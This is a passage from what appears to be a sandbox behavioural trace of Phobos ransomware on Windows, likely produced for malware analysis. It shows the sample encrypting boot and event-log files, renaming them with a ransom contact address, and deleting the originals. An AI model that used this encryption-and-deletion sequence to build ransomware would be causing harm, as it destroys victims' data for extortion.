(lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0056.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.585] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.585] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.585] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.585] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=42392) returned 1 [0056.585] CloseHandle (hObject=0x304) returned 1 [0056.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui")) returned 0x20 [0056.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.585] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.586] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.586] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.587] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=395226) returned 1 [0056.587] CloseHandle (hObject=0x304) returned 1 [0056.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0056.587] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0056.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\bootmgr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.587] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.587] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0056.587] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.587] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.602] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=1) returned 1 [0056.602] CloseHandle (hObject=0x304) returned 1 [0056.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 0x26 [0056.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTNXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\bootnxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.602] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.602] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0056.602] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0056.603] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\bootnxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0056.603] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d030) returned 1 [0056.603] CryptSetKeyParam (hKey=0x10d030, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0056.603] ReadFile (in: hFile=0x304, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x1, lpOverlapped=0x0) returned 1 [0056.604] CryptEncrypt (in: hKey=0x10d030, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x10, dwBufLen=0x10 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x10) returned 1 [0056.604] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x10, lpOverlapped=0x0) returned 1 [0056.605] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10caf0) returned 1 [0056.605] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0056.605] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x30, dwBufLen=0x30 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x30) returned 1 [0056.605] CryptDestroyKey (hKey=0x10caf0) returned 1 [0056.605] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0xe2, lpOverlapped=0x0) returned 1 [0056.605] CryptDestroyKey (hKey=0x10d030) returned 1 [0056.605] CloseHandle (hObject=0x304) returned 1 [0056.605] CloseHandle (hObject=0x324) returned 1 [0056.606] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1 [0056.607] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.607] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.607] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.607] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0056.608] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0056.608] CloseHandle (hObject=0x324) returned 1 [0056.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20 [0056.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\application.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.609] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0056.609] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0056.609] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0056.609] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\application.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.609] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cc30) returned 1 [0056.609] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0056.609] ReadFile (in: hFile=0x324, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0056.610] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0056.611] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0056.612] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cdf0) returned 1 [0056.612] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0056.612] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0056.612] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0056.612] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0056.612] CryptDestroyKey (hKey=0x10cc30) returned 1 [0056.612] CloseHandle (hObject=0x324) returned 1 [0056.612] CloseHandle (hObject=0x304) returned 1 [0056.614] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 1 [0056.616] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.616] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.617] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0056.617] CloseHandle (hObject=0x304) returned 1 [0056.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20 [0056.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\hardwareevents.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.617] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.618] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0056.618] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0056.618] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\hardwareevents.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0056.618] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cdf0) returned 1 [0056.618] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0056.618] ReadFile (in: hFile=0x304, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0056.619] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0056.619] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0056.621] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d1b0) returned 1 [0056.621] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0056.621] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0056.621] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0056.621] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0056.621] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0056.621] CloseHandle (hObject=0x304) returned 1 [0056.621] CloseHandle (hObject=0x324) returned 1 [0056.623] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1 [0056.624] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.624] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0056.624] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0056.624] CloseHandle (hObject=0x324) returned 1 [0056.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20 [0056.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\internet explorer.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.625] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0056.625] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0056.625] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0056.625] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\internet explorer.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.625] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cdf0) returned 1 [0056.625] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0056.625] ReadFile (in: hFile=0x324, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0056.630] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0056.630] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0056.632] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d0b0) returned 1 [0056.632] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0056.632] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50, dwBufLen=0x50 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x50) returned 1 [0056.632] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0056.632] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x102, lpOverlapped=0x0) returned 1 [0056.632] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0056.632] CloseHandle (hObject=0x324) returned 1 [0056.632] CloseHandle (hObject=0x304) returned 1 [0056.634] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1 [0056.635] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.635] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.635] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0056.635] CloseHandle (hObject=0x304) returned 1 [0056.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20 [0056.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\key management service.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.636] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.636] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0056.636] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0056.636] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\key management service.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0057.496] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cdf0) returned 1 [0057.496] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0057.496] ReadFile (in: hFile=0x304, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0057.498] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0057.498] WriteFile (in: hFile=0x318, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0057.499] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10caf0) returned 1 [0057.499] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0057.500] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x60, dwBufLen=0x60 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x60) returned 1 [0057.500] CryptDestroyKey (hKey=0x10caf0) returned 1 [0057.500] WriteFile (in: hFile=0x318, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x112, lpOverlapped=0x0) returned 1 [0057.500] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0057.500] CloseHandle (hObject=0x304) returned 1 [0057.500] CloseHandle (hObject=0x318) returned 1 [0057.502] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1 [0057.503] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0057.503] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0057.508] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0057.508] CloseHandle (hObject=0x318) returned 1 [0057.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20 [0057.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.508] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 